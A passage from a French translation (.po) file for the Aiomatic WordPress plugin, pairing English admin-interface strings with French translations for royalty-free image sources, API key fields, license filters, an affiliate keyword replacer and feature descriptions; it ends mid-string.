res/aiomatic-main.php:5022 #, php-format msgid "" "Insert your TextRazor API Key. Learn how to get one here. This is used when extracting relevant keywords " "from longer texts. Adding an API key here can greatly improve royalty free " "image accuracy." msgstr "" "Insérez votre clé API TextRazor. Apprenez comment en obtenir un ici. Ceci est utilisé lors de l’extraction de mots-clés " "pertinents à partir de textes plus longs. L’ajout d’une clé API ici peut " "grandement améliorer la précision de l’image libre de droits." #: res/aiomatic-main.php:5026 msgid "" "TextRazor API Key List (Optional) (Used for Relevant Keyword Extraction From " "Text):" msgstr "" "Liste des clés API TextRazor (facultatif) (utilisée pour l’extraction de " "mots-clés pertinents à partir du texte) :" #: res/aiomatic-main.php:5033 msgid "Please insert your TextRazor API Key" msgstr "Veuillez insérer votre clé API TextRazor" #: res/aiomatic-main.php:5043 #, php-format msgid "" "Set a prompt for generating a keyword for importing royalty free images for " "the created posts. You can also instruct the AI writer to return a comma " "separated list of keywords. You can use the following shortcodes here: " "%%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. " "You can also add a link to a TXT file, containing keywords (one per line), " "or to an RSS feed. If you use RSS feeds, you can also use the following " "additional shortcodes: %%post_content%%, %%post_content_plain_text%%, " "%%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, " "%%post_link%%. The length of this command should not be greater than the max " "token count set in the settings for the seed command - Update: nested " "shortcodes also supported (shortcodes generated by rules from other " "plugins). You can also add here a link to a .txt file, where you can add " "multiple prompts (one per line) and the plugin will select a random one at " "each run. You can use something like: I need to find highly relevant royalty-" "free images for an article heading, please extract a comma-separated list of " "the most relevant keywords from the heading, prioritizing specific " "references over general keywords. Add the highest priority to the most " "specific keyword that is still related to the main topic. By doing so, you " "can help me find more appropriate and targeted images for the article " "heading. The blog post heading title is: \"%%post_title%%\"." msgstr "" "Définissez un prompt pour générer un mot-clé afin d'importer des images " "libres de droits pour les articles créés. Vous pouvez également demander à " "l'auteur AI de renvoyer une liste de mots-clés séparés par des virgules. " "Vous pouvez utiliser les shortcodes suivants ici : %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%. Vous pouvez " "également ajouter un lien vers un fichier TXT, contenant des mots-clés (un " "par ligne), ou vers un flux RSS. Si vous utilisez des flux RSS, vous pouvez " "également utiliser les shortcodes supplémentaires suivants : " "%%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, " "%%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. La " "longueur de cette commande ne doit pas être supérieure au nombre maximum de " "jetons défini dans les paramètres de la commande seed - Mise à jour : les " "shortcodes imbriqués sont également pris en charge (shortcodes générés par " "des règles provenant d'autres plugins). Vous pouvez également ajouter ici un " "lien vers un fichier .txt, dans lequel vous pouvez ajouter plusieurs Prompts " "(une par ligne) et le plugin en sélectionnera une au hasard à chaque " "exécution. Vous pouvez utiliser quelque chose comme : J'ai besoin de trouver " "des images libres de droits très pertinentes pour le titre d'un article, " "veuillez extraire une liste séparée par des virgules des mots-clés les plus " "pertinents du titre, en donnant la priorité aux références spécifiques " "plutôt qu'aux mots-clés généraux. Attribuez la priorité la plus élevée au " "mot-clé le plus spécifique qui est toujours lié au sujet principal. Ce " "faisant, vous m'aiderez à trouver des images plus appropriées et plus " "ciblées pour le titre de l'article. Le titre de l'article de blog est le " "suivant : \"%%post_title%%\"." #: res/aiomatic-main.php:5047 msgid "Prompt For OpenAI Keyword Generator For Royalty Free Image Importing:" msgstr "" "Prompt de demande de générateur de mots-clés OpenAI pour l'importation " "d'images libres de droits :" #: res/aiomatic-main.php:5052 #, php-format msgid "" "I need to find highly relevant royalty-free images for an article heading, " "please extract a comma-separated list of the most relevant keywords from the " "heading, prioritizing specific references over general keywords. Add the " "highest priority to the most specific keyword that is still related to the " "main topic. By doing so, you can help me find more appropriate and targeted " "images for the article heading. The blog post heading title is: " "\"%%post_title%%\"." msgstr "" "J'ai besoin de trouver des images libres de droits très pertinentes pour le " "titre d'un article. Veuillez extraire une liste séparée par des virgules des " "mots-clés les plus pertinents du titre, en donnant la priorité aux " "références spécifiques plutôt qu'aux mots-clés généraux. Attribuez la " "priorité la plus élevée au mot-clé le plus spécifique qui est toujours lié " "au sujet principal. Ce faisant, vous m'aiderez à trouver des images plus " "appropriées et plus ciblées pour le titre de l'article. Le titre de " "l'article de blog est le suivant : \"%%post_title%%\"." #: res/aiomatic-main.php:5064 msgid "" "Select the model you want to use for keyword extraction, for royalty free " "image importing." msgstr "" "Sélectionnez le modèle que vous souhaitez utiliser pour l'extraction de mots-" "clés, pour l'importation d'images libres de droits." #: res/aiomatic-main.php:5068 msgid "Model For Keyword Extraction For Royalty Free Images:" msgstr "Modèle d'extraction de mots-clés pour les images libres de droits :" #: res/aiomatic-main.php:5096 msgid "More Royalty Free Image Options:" msgstr "Plus d'options d'images libres de droits :" #: res/aiomatic-main.php:5104 #, php-format msgid "" "Please set a the image attribution shortcode value. You can use this value, " "using the %%image_attribution%% shortcode, in 'Prepend Content With' and " "'Append Content With' settings fields. You can use the following shortcodes, " "in this settings field: %%image_source_name%%, %%image_source_website%%, " "%%image_source_url%%. These will be updated automatically for the respective " "image source, from where the imported image is from. This will replace the " "%%royalty_free_image_attribution%% shortcode, in 'Generated Post Content' " "settings field." msgstr "" "Veuillez définir une valeur pour le shortcode d'attribution de l'image. Vous " "pouvez utiliser cette valeur, en utilisant le shortcode " "%%image_attribution%%, dans les champs de paramétrage 'Prepend Content With' " "et 'Append Content With'. Vous pouvez utiliser les shortcodes suivants dans " "ce champ de configuration : %%image_source_name%%, %%image_source_website%%, " "%%image_source_url%%. Ceux-ci seront mis à jour automatiquement pour la " "source d'image respective, d'où provient l'image importée. Cela remplacera " "le shortcode %%royalty_free_image_attribution%%, dans le champ de " "configuration \"Generated Post Content\"." #: res/aiomatic-main.php:5108 #, php-format msgid "" "Royalty Free Image Attribution Text (%%royalty_free_image_attribution%%): " msgstr "" "Texte d'attribution d'image libre de droits " "(%%royalty_free_image_attribution%%) : " #: res/aiomatic-main.php:5111 msgid "Please insert image attribution text pattern" msgstr "Veuillez insérer le modèle de texte d'attribution de l'image" #: res/aiomatic-main.php:5119 msgid "Do you want to enable broad search for royalty free images?" msgstr "" "Souhaitez-vous activer la recherche élargie d'images libres de droits ?" #: res/aiomatic-main.php:5123 msgid "Enable broad image search: " msgstr "Activer la recherche d'images au sens large : " #: res/aiomatic-main.php:5138 msgid "" "Do you want to not skip importing the aritcle if no royalty free image found " "for the post?" msgstr "" "Souhaitez-vous ne pas ignorer l'importation de l'article si aucune image " "libre de droits n'a été trouvée pour l'article ?" #: res/aiomatic-main.php:5142 msgid "Skip Importing of Article If No Free Image Found: " msgstr "" "Passer l’importation de l’article si aucune image libre n’a été trouvée : " #: res/aiomatic-main.php:5158 msgid "Pexels API Options:" msgstr "Options de l'API Pexels :" #: res/aiomatic-main.php:5167 #, php-format msgid "" "Insert your Pexels App ID. Learn how to get an API key here. If you enter an API Key and an API Secret, you " "will enable search for images using the Pexels API." msgstr "" "Insérez votre ID d'application Pexels. Apprenez comment obtenir une clé API " "ici. Si vous entrez une clé API et un " "secret API, vous pourrez rechercher des images à l'aide de l'API Pexels." #: res/aiomatic-main.php:5171 msgid "Pexels App ID:" msgstr "Pexels App ID :" #: res/aiomatic-main.php:5178 msgid "Please insert your Pexels API key" msgstr "Veuillez insérer votre clé API Pexels" #: res/aiomatic-main.php:5188 msgid "Flickr API Options:" msgstr "Options de l'API Flickr :" #: res/aiomatic-main.php:5195 #, php-format msgid "" "Insert your Flickr App ID. Learn how to get an API key here. If you enter an API Key and an API Secret, you " "will enable search for images using the Flickr API." msgstr "" "Insérez votre ID d'application Flickr. Pour savoir comment obtenir une clé " "API, cliquez ici. Si vous entrez une clé " "API et un secret API, vous pourrez rechercher des images à l'aide de l'API " "Flickr." #: res/aiomatic-main.php:5199 msgid "Flickr App ID: " msgstr "ID de l’application Flickr : " #: res/aiomatic-main.php:5202 msgid "Please insert your Flickr APP ID" msgstr "Veuillez insérer votre ID d’application Flickr" #: res/aiomatic-main.php:5210 msgid "The license id for photos to be searched." msgstr "ID de licence pour les photos à rechercher." #: res/aiomatic-main.php:5214 msgid "Photo License: " msgstr "Licence photo : " #: res/aiomatic-main.php:5225 msgid "Do Not Search By Photo Licenses" msgstr "Ne pas rechercher par licences photo" #: res/aiomatic-main.php:5232 msgid "All Rights Reserved" msgstr "Tous droits réservés" #: res/aiomatic-main.php:5239 msgid "Attribution-NonCommercial-ShareAlike License" msgstr "Attribution de la licence - NonCommercial-ShareAlike" #: res/aiomatic-main.php:5246 msgid "Attribution-NonCommercial License" msgstr "Attribution de la licence non commerciale" #: res/aiomatic-main.php:5253 msgid "Attribution-NonCommercial-NoDerivs License" msgstr "Attribution de la licence - NonCommercial-NoDerivs" #: res/aiomatic-main.php:5260 msgid "Attribution License" msgstr "Licence d’attribution" #: res/aiomatic-main.php:5267 msgid "Attribution-ShareAlike License" msgstr "Attribution de la licence - ShareAlike" #: res/aiomatic-main.php:5274 msgid "Attribution-NoDerivs License" msgstr "Attribution de la licence - NoDerivs" #: res/aiomatic-main.php:5281 msgid "No known copyright restrictions" msgstr "Aucune restriction connue en matière de droits d’auteur" #: res/aiomatic-main.php:5288 msgid "United States Government Work" msgstr "Travail du gouvernement des États-Unis" #: res/aiomatic-main.php:5297 msgid "" "The order in which to sort returned photos. Deafults to date-posted-desc " "(unless you are doing a radial geo query, in which case the default sorting " "is by ascending distance from the point specified)." msgstr "" "L'ordre dans lequel les photos retournées doivent être triées. Deafults to " "date-posted-desc (sauf si vous effectuez une requête géographique radiale, " "auquel cas le tri par défaut se fait par distance ascendante à partir du " "point spécifié)." #: res/aiomatic-main.php:5301 msgid "Search Results Order: " msgstr "Ordre des résultats de recherche : " #: res/aiomatic-main.php:5311 msgid "Date Posted Descendant" msgstr "Date de publication Descendant" #: res/aiomatic-main.php:5318 msgid "Date Posted Ascendent" msgstr "Date de publication Ascendant" #: res/aiomatic-main.php:5325 msgid "Date Taken Ascendent" msgstr "Date de prise Ascendant" #: res/aiomatic-main.php:5332 msgid "Date Taken Descendant" msgstr "Date de prise Descendant" #: res/aiomatic-main.php:5339 msgid "Interestingness Descendant" msgstr "Intérêt Descendant" #: res/aiomatic-main.php:5346 msgid "Interestingness Ascendant" msgstr "Intérêt Ascendant" #: res/aiomatic-main.php:5364 msgid "Pixabay API Options:" msgstr "Options API Pixabay :" #: res/aiomatic-main.php:5372 #, php-format msgid "" "Insert your Pixabay App ID. Learn how to get one here. If you enter an API Key here, you will enable " "search for images using the Pixabay API." msgstr "" "Insérez votre OD Pixabay. Apprenez à l'obtenir ici. Si vous entrez une clé API ici, vous pourrez " "rechercher des images en utilisant l'API Pixabay." #: res/aiomatic-main.php:5376 msgid "Pixabay App ID:" msgstr "ID de l’application Pixabay :" #: res/aiomatic-main.php:5383 msgid "Please insert your Pixabay API key" msgstr "Veuillez insérer votre clé API Pixabay" #: res/aiomatic-main.php:5393 res/aiomatic-main.php:5875 msgid "Filter results by image type." msgstr "Filtrez les résultats par type d’image." #: res/aiomatic-main.php:5397 msgid "Image Types To Search:" msgstr "Types d'images à rechercher :" #: res/aiomatic-main.php:5406 res/aiomatic-main.php:5466 #: res/aiomatic-main.php:5887 res/aiomatic-main.php:5923 #: res/aiomatic-main.php:5985 msgid "All" msgstr "Tout" #: res/aiomatic-main.php:5410 res/aiomatic-main.php:5892 msgid "Photo" msgstr "Photo" #: res/aiomatic-main.php:5414 res/aiomatic-main.php:5897 msgid "Illustration" msgstr "Illustration" #: res/aiomatic-main.php:5418 res/aiomatic-main.php:5902 msgid "Vector" msgstr "Vecteur" #: res/aiomatic-main.php:5428 res/aiomatic-main.php:5942 msgid "Order results by a predefined rule." msgstr "Classez les résultats selon une règle prédéfinie." #: res/aiomatic-main.php:5432 res/aiomatic-main.php:5946 msgid "Results Order: " msgstr "Ordre des résultats : " #: res/aiomatic-main.php:5440 res/aiomatic-main.php:5959 msgid "Popular" msgstr "Populaire" #: res/aiomatic-main.php:5445 res/aiomatic-main.php:5964 msgid "Latest" msgstr "Dernier" #: res/aiomatic-main.php:5454 res/aiomatic-main.php:5973 msgid "Filter results by image category." msgstr "Filtrer les résultats par catégorie d'image." #: res/aiomatic-main.php:5458 res/aiomatic-main.php:5977 msgid "Image Category: " msgstr "Catégorie d’image : " #: res/aiomatic-main.php:5471 res/aiomatic-main.php:5990 msgid "Fashion" msgstr "Mode" #: res/aiomatic-main.php:5476 res/aiomatic-main.php:5995 msgid "Nature" msgstr "Nature" #: res/aiomatic-main.php:5481 res/aiomatic-main.php:6000 msgid "Backgrounds" msgstr "Arrière-plans" #: res/aiomatic-main.php:5486 res/aiomatic-main.php:6005 msgid "Science" msgstr "Science" #: res/aiomatic-main.php:5491 res/aiomatic-main.php:6010 msgid "Education" msgstr "Formation" #: res/aiomatic-main.php:5496 res/aiomatic-main.php:6015 msgid "People" msgstr "Personnes" #: res/aiomatic-main.php:5501 res/aiomatic-main.php:6020 msgid "Feelings" msgstr "Impressions" #: res/aiomatic-main.php:5506 res/aiomatic-main.php:6025 msgid "Religion" msgstr "Religion" #: res/aiomatic-main.php:5511 res/aiomatic-main.php:6030 msgid "Health" msgstr "Santé" #: res/aiomatic-main.php:5516 res/aiomatic-main.php:6035 msgid "Places" msgstr "Lieux" #: res/aiomatic-main.php:5521 res/aiomatic-main.php:6040 msgid "Animals" msgstr "Animaux" #: res/aiomatic-main.php:5526 res/aiomatic-main.php:6045 msgid "Industry" msgstr "Industrie" #: res/aiomatic-main.php:5531 res/aiomatic-main.php:6050 msgid "Food" msgstr "Nourriture" #: res/aiomatic-main.php:5536 res/aiomatic-main.php:6055 msgid "Computer" msgstr "Ordinateur" #: res/aiomatic-main.php:5541 res/aiomatic-main.php:6060 msgid "Sports" msgstr "Sports" #: res/aiomatic-main.php:5546 res/aiomatic-main.php:6065 msgid "Transportation" msgstr "Transport" #: res/aiomatic-main.php:5551 res/aiomatic-main.php:6070 msgid "Travel" msgstr "Voyage" #: res/aiomatic-main.php:5556 res/aiomatic-main.php:6075 msgid "Buildings" msgstr "Bâtiments" #: res/aiomatic-main.php:5561 res/aiomatic-main.php:6080 msgid "Business" msgstr "Entreprise" #: res/aiomatic-main.php:5566 res/aiomatic-main.php:6085 msgid "Music" msgstr "Musique" #: res/aiomatic-main.php:5575 res/aiomatic-main.php:6094 msgid "Minimum image width." msgstr "Largeur minimale de l'image." #: res/aiomatic-main.php:5579 res/aiomatic-main.php:6098 msgid "Image Min Width: " msgstr "Largeur minimale de l'image : " #: res/aiomatic-main.php:5582 res/aiomatic-main.php:6101 msgid "Please insert image min width" msgstr "Veuillez insérer la largeur minimale de l’image" #: res/aiomatic-main.php:5590 msgid "Maximum image width." msgstr "Largeur maximale de l'image." #: res/aiomatic-main.php:5594 msgid "Image Max Width: " msgstr "Largeur maximale de l'image : " #: res/aiomatic-main.php:5597 msgid "Please insert image max width" msgstr "Veuillez insérer une image de largeur maximale" #: res/aiomatic-main.php:5605 msgid "" "A flag indicating that only images suitable for all ages should be returned." msgstr "" "Un indicateur indiquant que seules les images adaptées à tous les âges " "doivent être renvoyées." #: res/aiomatic-main.php:5609 msgid "Safe Search: " msgstr "Recherche sécurisée : " #: res/aiomatic-main.php:5624 msgid "Select images that have received an Editor's Choice award." msgstr "Sélectionnez les images qui ont reçu un prix de la rédaction." #: res/aiomatic-main.php:5628 msgid "Editor's Choice: " msgstr "Choix de l’éditeur : " #: res/aiomatic-main.php:5643 msgid "Specify default language for regional content." msgstr "Spécifier la langue par défaut pour le contenu régional." #: res/aiomatic-main.php:5647 msgid "Filter Language: " msgstr "Langue du filtre : " #: res/aiomatic-main.php:5710 msgid "Norvegian" msgstr "Norvegien" #: res/aiomatic-main.php:5735 msgid "Finish" msgstr "Terminer" #: res/aiomatic-main.php:5785 msgid "Chinese" msgstr "Chinois" #: res/aiomatic-main.php:5795 msgid "Google Images API Options:" msgstr "Options de l'API Google Images :" #: res/aiomatic-main.php:5802 msgid "" "Select if you want to enable usage of the Google Images Search with the " "Creative Commons filter enabled, for getting images." msgstr "" "Sélectionnez si vous souhaitez autoriser l'utilisation de la recherche " "Google Images avec le filtre Creative Commons activé pour l'obtention " "d'images." #: res/aiomatic-main.php:5806 msgid "Enable Google Images Search Usage: " msgstr "Activer l'utilisation de la recherche Google Images : " #: res/aiomatic-main.php:5822 msgid "Unsplah API Options:" msgstr "Options de l'API Unsplah :" #: res/aiomatic-main.php:5829 msgid "" "Select if you want to enable usage of the Unsplash API for getting images." msgstr "" "Sélectionnez si vous souhaitez activer l'utilisation de l'API Unsplash pour " "obtenir des images." #: res/aiomatic-main.php:5833 msgid "Enable Unsplash API Usage: " msgstr "Activer l’utilisation de l’API Unsplash : " #: res/aiomatic-main.php:5849 msgid "Pixabay Direct Scraping Options:" msgstr "Pixabay Options d'extraction directe :" #: res/aiomatic-main.php:5856 msgid "" "Select if you want to enable direct scraping of Pixabay website. This will " "generate different results from the API." msgstr "" "Sélectionnez si vous souhaitez activer le scraping direct du site web " "Pixabay. Cela générera des résultats différents de ceux de l'API." #: res/aiomatic-main.php:5860 msgid "Enable Pixabay Direct Website Scraping: " msgstr "Activer le Scraping de site Web Pixabay Direct : " #: res/aiomatic-main.php:5879 msgid "Image Types To Search: " msgstr "Types d'images à rechercher : " #: res/aiomatic-main.php:5911 msgid "Filter results by image orientation." msgstr "Filtrer les résultats en fonction de l'orientation de l'image." #: res/aiomatic-main.php:5915 msgid "Image Orientation: " msgstr "Orientation de l’image : " #: res/aiomatic-main.php:5928 msgid "Horizontal" msgstr "Horizontal" #: res/aiomatic-main.php:5933 msgid "Vertical" msgstr "Vertical" #: res/aiomatic-main.php:6109 msgid "Maximum image height." msgstr "Hauteur maximale de l'image." #: res/aiomatic-main.php:6113 msgid "Image Min Height: " msgstr "Hauteur minimale de l’image : " #: res/aiomatic-main.php:6116 msgid "Please insert image min height" msgstr "Veuillez insérer l'image de hauteur minimale" #: res/aiomatic-main.php:6125 msgid "Random Sentence Generator:" msgstr "Générateur de phrases aléatoires :" #: res/aiomatic-main.php:6134 res/aiomatic-main.php:6152 #, php-format msgid "" "Insert some sentences from which you want to get one at random. You can also " "use variables defined below. %something ==> is a variable. Each sentence " "must be separated by a new line." msgstr "" "Insérez quelques phrases dont vous voulez tirer une au hasard. Vous pouvez " "également utiliser les variables définies ci-dessous. %something ==> est une " "variable. Chaque phrase doit être séparée par une nouvelle ligne." #: res/aiomatic-main.php:6138 #, php-format msgid "First List of Possible Sentences (%%random_sentence%%):" msgstr "Première liste de phrases possibles (%%random_sentence%%) :" #: res/aiomatic-main.php:6141 msgid "Please insert the first list of sentences" msgstr "Veuillez insérer la première liste de phrases" #: res/aiomatic-main.php:6156 #, php-format msgid "Second List of Possible Sentences (%%random_sentence2%%):" msgstr "" "Deuxième liste de phrases /Sentences possibles (%%random_sentence2%%) :" #: res/aiomatic-main.php:6159 msgid "Please insert the second list of sentences" msgstr "Veuillez insérer la deuxième liste de phrases" #: res/aiomatic-main.php:6170 msgid "" "Insert some variables you wish to be exchanged for different instances of " "one sentence. Please format this list as follows:
                    \n" " Variablename => Variables (seperated by " "semicolon)
                    Example:
                    adjective => clever;interesting;smart;huge;" "astonishing;unbelievable;nice;adorable;beautiful;elegant;fancy;glamorous;" "magnificent;helpful;awesome
                    " msgstr "" "Insérez les variables que vous souhaitez remplacer pour différentes " "instances d'une phrase. Veuillez formater cette liste comme suit :
                    \n" "NomDeVariable => Variables (séparées par un point-virgule)
                    \n" "Exemple :
                    adjectif => intelligent;intéressant;astucieux;énorme;étonnant;" "incroyable;agréable;adorable;beau;élégant;fantaisiste;glamour;magnifique;" "utile;impressionnant
                    " #: res/aiomatic-main.php:6175 msgid "List of Possible Variables:" msgstr "Liste des variables possibles :" #: res/aiomatic-main.php:6178 msgid "Please insert the list of variables" msgstr "Veuillez insérer la liste des variables" #: res/aiomatic-main.php:6188 msgid "Custom HTML Code/ Ad Code:" msgstr "Code HTML personnalisé / Code publicitaire :" #: res/aiomatic-main.php:6197 #, php-format msgid "" "Insert a custom HTML code that will replace the %%custom_html%% variable. " "This can be anything, even an Ad code." msgstr "" "Insérez un code HTML personnalisé qui remplacera la variable " "%%custom_html%%. Il peut s'agir de n'importe quoi, même d'un code " "publicitaire." #: res/aiomatic-main.php:6201 msgid "Custom HTML Code #1:" msgstr "Code HTML personnalisé #1 :" #: res/aiomatic-main.php:6204 msgid "Custom HTML #1" msgstr "HTML personnalisé #1" #: res/aiomatic-main.php:6215 #, php-format msgid "" "Insert a custom HTML code that will replace the %%custom_html2%% variable. " "This can be anything, even an Ad code." msgstr "" "Insérez un code HTML personnalisé qui remplacera la variable " "%%custom_html2%%. Il peut s'agir de n'importe quoi, même d'un code " "publicitaire." #: res/aiomatic-main.php:6219 msgid "Custom HTML Code #2:" msgstr "Code HTML personnalisé #2 :" #: res/aiomatic-main.php:6222 msgid "Custom HTML #2" msgstr "HTML personnalisé #2" #: res/aiomatic-main.php:6237 msgid "" "Select if you want the Keyword Replacer Tool to match also partial words, or " "only full words." msgstr "" "Indiquez si vous souhaitez que l'outil de remplacement des mots clés " "corresponde également à des mots partiels ou uniquement à des mots entiers." #: res/aiomatic-main.php:6241 msgid "Match Also Partial Words:" msgstr "Faites également correspondre les mots partiels :" #: res/aiomatic-main.php:6254 msgid "Affiliate Keyword Replacer Tool Settings:" msgstr "Outil des Paramètres de remplacement de mots-clés d’affiliation :" #: res/aiomatic-main.php:6280 msgid "Search Keyword" msgstr "Rechercher par mot-clé" #: res/aiomatic-main.php:6284 msgid "This keyword will be replaced with a link you define." msgstr "Ce mot-clé sera remplacé par un lien que vous aurez défini." #: res/aiomatic-main.php:6290 msgid "Replacement Keyword" msgstr "Mot-clé de remplacement" #: res/aiomatic-main.php:6294 msgid "" "This keyword will replace the search keyword you define. Leave this field " "blank if you only want to add an URL to the specified keyword." msgstr "" "Ce mot-clé remplacera le mot-clé de recherche que vous avez défini. Laissez " "ce champ vide si vous souhaitez uniquement ajouter une URL au mot-clé " "spécifié." #: res/aiomatic-main.php:6300 msgid "Link to Add" msgstr "Lien à ajouter" #: res/aiomatic-main.php:6304 msgid "" "Define the link you want to appear the defined keyword. Leave this field " "blank if you only want to replace the specified keyword without linking from " "it." msgstr "" "Définissez le lien que vous souhaitez voir apparaître pour le mot-clé " "défini. Laissez ce champ vide si vous souhaitez uniquement remplacer le mot-" "clé spécifié sans créer de lien à partir de celui-ci." #: res/aiomatic-main.php:6309 msgid "Target Content" msgstr "Contenu cible" #: res/aiomatic-main.php:6312 msgid "" "Select if you want to make this rule target post title, content or both." msgstr "" "Sélectionnez si vous souhaitez que cette règle cible le titre de l'article, " "le contenu ou les deux." #: res/aiomatic-main.php:6316 msgid "Maximum Replacement Count" msgstr "Nombre maximal de remplacements" #: res/aiomatic-main.php:6349 msgid "Please insert the keyword to be replaced" msgstr "Veuillez insérer le mot-clé à remplacer" #: res/aiomatic-main.php:6350 msgid "Please insert the keyword to replace the search keyword" msgstr "Veuillez insérer le mot-clé pour remplacer le mot-clé de recherche" #: res/aiomatic-main.php:6351 msgid "Please insert the link to be added to the keyword" msgstr "Veuillez insérer le lien pour être ajouté au mot-clé" #: res/aiomatic-main.php:6355 res/aiomatic-main.php:6572 msgid "Content and Title" msgstr "Contenu et titre" #: res/aiomatic-main.php:6356 res/aiomatic-main.php:6574 msgid "Max #" msgstr "Max #" #: res/aiomatic-main.php:6546 msgid "Input the keyword to be replaced. This field is required" msgstr "Saisissez le mot-clé à remplacer. Ce champ est obligatoire" #: res/aiomatic-main.php:6547 msgid "Input the replacement word" msgstr "Entrer le mot de remplacement" #: res/aiomatic-main.php:6548 msgid "Input the URL to be added" msgstr "Saisir l'URL à ajouter" #: res/aiomatic-more.php:11 msgid "Media Library Extensions" msgstr "Extensions de la bibliothèque multimédia" #: res/aiomatic-more.php:13 msgid "AI Comment Replier" msgstr "Répondeur de commentaires AI" #: res/aiomatic-more.php:14 msgid "AI Taxonomy Description Writer" msgstr "Rédacteur de la description de la taxonomie de l'IA" #: res/aiomatic-more.php:19 msgid "" "In addition to the powerful core features, Aiomatic has some hidden gems " "that will take your website to the next level. Let's explore these exciting " "features and see how they can supercharge your site." msgstr "" "En plus des puissantes fonctionnalités de base, Aiomatic possède quelques " "joyaux cachés qui permettront à votre site Web d'atteindre un niveau " "supérieur. Explorons ces fonctionnalités passionnantes et voyons comment " "elles peuvent dynamiser votre site." #: res/aiomatic-more.php:21 msgid "AI Assistant:" msgstr "Assistant de l'IA :" #: res/aiomatic-more.php:22 msgid "" "First up, we have the AI Assistant, your reliable companion in managing and " "optimizing your content. This intelligent assistant helps you with various " "tasks, from generating AI-powered meta tags to suggesting relevant keywords " "and optimizing your content for better search engine rankings. The AI " "Assistant is your virtual content strategist, guiding you every step of the " "way." msgstr "" "Tout d'abord, nous avons l'assistant AI, votre compagnon fiable dans la " "gestion et l'optimisation de votre contenu. Cet assistant intelligent vous " "aide à accomplir diverses tâches, de la génération de balises méta " "alimentées par l'IA à la suggestion de mots-clés pertinents, en passant par " "l'optimisation de votre contenu pour un meilleur classement dans les moteurs " "de recherche. L'assistant IA est votre stratège virtuel en matière de " "contenu, qui vous guide à chaque étape." #: res/aiomatic-more.php:24 msgid "AI Media Library Extensions:" msgstr "Extensions de la bibliothèque multimédia AI :" #: res/aiomatic-more.php:25 msgid "" "Aiomatic takes your media library to new heights with the AI Media Library " "Extension. With Extension 1, you can automatically generate alt text, " "captions, and descriptions for your images, saving you valuable time and " "effort. Extension 2 brings even more power by suggesting relevant tags and " "keywords for your media files, ensuring optimal search engine optimization " "and discoverability." msgstr "" "Aiomatic propulse ta médiathèque vers de nouveaux sommets grâce à " "l'extension AI Media Library. Avec l'extension 1, tu peux générer " "automatiquement du texte alt, des légendes et des descriptions pour tes " "images, ce qui te permet d'économiser un temps et des efforts précieux. " "L'extension 2 apporte encore plus de puissance en suggérant des balises et " "des mots-clés pertinents pour tes fichiers multimédias, ce qui garantit un " "référencement et une découvrabilité optimaux." #: res/aiomatic-more.php:27 msgid "Comment Replier:" msgstr "Commentaire Répondu :" #: res/aiomatic-more.php:28 msgid "" "Engaging with your audience is crucial, and Aiomatic makes it easier with " "the Comment Replier feature. This handy tool uses AI algorithms to analyze " "and understand comments on your website, providing you with suggested " "responses. You can quickly reply to comments, foster meaningful " "conversations, and provide better user engagement, all with the help of AI." msgstr "" "Il est essentiel d'engager le dialogue avec votre public, et Aiomatic vous " "facilite la tâche grâce à la fonction \"Comment Replier\" (répondeur de " "commentaires). Cet outil pratique utilise des algorithmes d'IA pour analyser " "et comprendre les commentaires sur votre site web et vous proposer des " "réponses. Vous pouvez répondre rapidement aux commentaires, favoriser des " "conversations constructives et améliorer l'engagement des utilisateurs, le " "tout avec l'aide de l'IA." #: res/aiomatic-more.php:30 msgid "AI Taxonomy Description Writer:" msgstr "Description de la taxonomie de l'IA Rédacteur :" #: res/aiomatic-more.php:31 msgid "" "In WordPress, taxonomies are used to classify and organize content. They " "allow you to group posts, pages, or custom post types together based on " "shared characteristics. Taxonomies can be hierarchical (like categories) or " "non-hierarchical (like tags). When creating taxonomies in WP, it is " "important to set descriptions for SEO purposes." msgstr "" "Dans WordPress, les taxonomies sont utilisées pour classer et organiser le " "contenu. Elles permettent de regrouper des articles, des pages ou des types " "d'articles personnalisés en fonction de caractéristiques communes. Les " "taxonomies peuvent être hiérarchiques (comme les catégories) ou non " "hiérarchiques (comme les tags). Lors de la création de taxonomies dans WP, " "il est important de définir des descriptions à des fins de référencement." #: res/aiomatic-more.php:34 msgid "" "This is maybe the biggest 'hidden gem' of Aiomatic. It is able to combine " "its power with any other plugin I created, allowing AI generated content to " "be produced in posts created by any other of my plugins. Imagine having AI-" "generated content in all your plugins, from social media to scraper plugins " "or news posts. Well, with Aiomatic, that dream is now a reality." msgstr "" "C'est peut-être le plus grand \" joyau caché \" d'Aiomatic. Il est capable " "de combiner sa puissance avec n'importe quel autre plugin que j'ai créé, " "permettant au contenu généré par l'IA d'être produit dans des articles créés " "par n'importe quel autre de mes plugins. Imaginez avoir du contenu généré " "par l'IA dans tous vos plugins, qu'il s'agisse de médias sociaux, de plugins " "de scraper ou d'articles d'actualité. Avec Aiomatic, ce rêve est désormais " "une réalité." #: res/aiomatic-more.php:36 msgid "" "In this video, I'll take a closer look at how the latest update of Aiomatic " "works and what it can do for you. I'll explore how you can easily post AI-" "generated text to your social media channels, saving you time and effort " "while keeping your followers engaged." msgstr "" "Dans cette vidéo, je vais examiner de plus près le fonctionnement de la " "dernière mise à jour d'Aiomatic et ce qu'elle peut vous apporter. Je vais " "voir comment vous pouvez facilement publier des textes générés par l'IA sur " "vos canaux de médias sociaux, ce qui vous permet d'économiser du temps et " "des efforts tout en maintenant l'intérêt de vos followers." #: res/aiomatic-more.php:38 msgid "" "I'll also dive into how Aiomatic can enhance your scraped or news posts, " "ensuring that your content is always fresh, relevant, and engaging. Say " "goodbye to boring, uninspired content, and hello to Aiomatic!" msgstr "" "Je vous expliquerai également comment Aiomatic peut améliorer votre contenu, " "en veillant à ce qu'il soit toujours frais, pertinent et attrayant. Dites " "adieu au contenu ennuyeux et sans inspiration, et bonjour à Aiomatic !" #: res/aiomatic-more.php:39 msgid "Check The Tutorial Videos From The Above Tabs!" msgstr "Consultez les vidéos des tutoriels des onglets ci-dessus !" #: res/aiomatic-more.php:40 msgid "" "To access more details about each feature, simply navigate to the respective " "tabs at the top of this menu page. Within each tab, you'll find tutorial " "videos that walk you through the setup, configuration, and utilization of " "each feature. These videos provide step-by-step guidance, ensuring you make " "the most out of Aiomatic's hidden features." msgstr "" "Pour obtenir plus de détails sur chaque 